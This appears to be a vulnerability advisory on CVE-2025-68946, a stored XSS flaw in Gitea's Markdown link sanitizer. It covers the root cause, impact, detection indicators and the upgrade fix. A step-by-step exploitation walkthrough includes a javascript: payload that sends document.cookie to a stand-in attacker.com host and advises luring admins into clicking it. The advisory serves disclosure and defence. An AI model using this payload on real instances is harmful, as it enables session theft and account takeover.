CVE-2025-68946: 
NixOS vulnerability analysis and mitigation

CVE-2025-68946 is a stored Cross-Site Scripting (XSS) vulnerability in Gitea that allows authenticated attackers to inject forbidden URL schemes (e.g., javascript:, vbscript:) into Markdown links, which are then rendered and executed in victims' browsers. It affects all Gitea versions before 1.20.1 (Go module code.gitea.io/gitea). The vulnerability was publicly disclosed on December 26, 2025, and patched in Gitea v1.20.1 released July 22, 2023 — the CVE was formally assigned and published years after the fix. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of user-controlled input during web page generation (CWE-79). Gitea's Markdown sanitizer, powered by the bluemonday library, failed to block dangerous URL schemes in hyperlinks — a regression introduced in v1.20.0 when all URL schemes were allowed by default in Markdown links (PR #24805). An authenticated user could craft a Markdown link using javascript:, vbscript:, or data: URI schemes (e.g., [click me](javascript:alert(1))), which would be rendered as a clickable link in issues, pull requests, comments, wikis, or other Markdown-rendered content. The fix in PR #25960 explicitly disallows javascript, vbscript, and raw data URI schemes in the sanitizer while preserving data: URIs for images (Gitea PR #25960, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who clicks a malicious link embedded in Gitea content (issues, comments, wikis, pull requests). This can lead to session token theft, credential harvesting, account takeover, or redirection to malicious sites. The scope is changed (cross-component), meaning the impact extends beyond the attacker's own session to other users of the Gitea instance, though availability is not directly affected (Github Advisory, Red Hat Bugzilla).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), placing it in the 1st percentile for exploitation likelihood within 30 days (Github Advisory). Exploitation requires a low-privilege authenticated account and user interaction (a victim must click the malicious link), limiting its practical risk. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported.

1. Obtain a low-privilege account: Register or use an existing authenticated account on a vulnerable Gitea instance (version < 1.20.1).
2. Identify a Markdown-rendered surface: Navigate to any location that renders Markdown content visible to other users — such as an issue, pull request comment, wiki page, or repository README.
3. Craft a malicious link: Compose a Markdown hyperlink using a forbidden URL scheme, for example: [Click here for details](javascript:document.location='https://attacker.com/?c='+document.cookie) or [link](javascript:alert(document.cookie)).
4. Submit the content: Post the comment, issue, or wiki edit containing the malicious link. Gitea's unsanitized renderer will preserve the javascript: scheme in the output HTML.
5. Social engineer the victim: Lure a target user (e.g., a repository maintainer or admin) to view and click the link, triggering JavaScript execution in their browser context.
6. Harvest session data: The executed script can exfiltrate session cookies, authentication tokens, or perform actions on behalf of the victim within the Gitea instance (Gitea PR #25960, Github Advisory).

• Logs: Gitea access logs showing requests to issue/comment/wiki endpoints containing URL-encoded strings like javascript%3A, vbscript%3A, or data%3A in POST body parameters.
• Content Review: Presence of Markdown links with javascript:, vbscript:, or data: URI schemes in issues, pull request comments, wiki pages, or README files on Gitea instances running versions < 1.20.1.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after viewing Gitea content, potentially carrying cookie or token data in query parameters.
• Browser: Unexpected JavaScript alert dialogs or redirects when clicking links within Gitea rendered content.

The primary remediation is to upgrade Gitea to version 1.20.1 or later, which explicitly disallows javascript:, vbscript:, and raw data: URI schemes in Markdown link sanitization (Gitea v1.20.1 Release, Gitea PR #25960). No configuration-based workaround is available for versions prior to 1.20.1 without patching. Administrators unable to upgrade immediately should restrict write access to trusted users only and monitor Markdown content for suspicious link patterns.

Red Hat tracked the vulnerability via their Bugzilla system (Bug 2425468) and assigned it medium severity, though no Red Hat products were directly affected (Red Hat Bugzilla). The GitHub Advisory Database published the advisory (GHSA-hq57-c72x-4774) on December 26, 2025, rating it Moderate. Community reaction was limited given the low EPSS score and the fact that the patch had already been available since July 2023; the CVE assignment appears to have been a retroactive formal disclosure.